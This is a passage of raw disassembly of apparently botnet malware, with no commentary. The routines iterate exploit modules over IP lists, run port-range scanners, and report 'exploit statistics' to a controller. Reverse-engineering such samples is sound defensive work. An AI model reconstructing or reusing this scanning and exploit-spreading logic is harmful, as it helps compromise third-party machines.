; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CEDC lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv ds:flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CE98 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, ds:byte_41CD80[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CF54 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41D000 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp ds:off_41CDAE[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CD80 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CFD0 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CF8C lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, ds:byte_41CD80[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push ds:dword_41CDAA[eax] push offset dword_41D054 lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and ds:dword_41CDAA[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D100 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D0C8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D098 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D130 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D1A0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call ds:dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D18C lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call ds:dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv ds:flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D150 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call 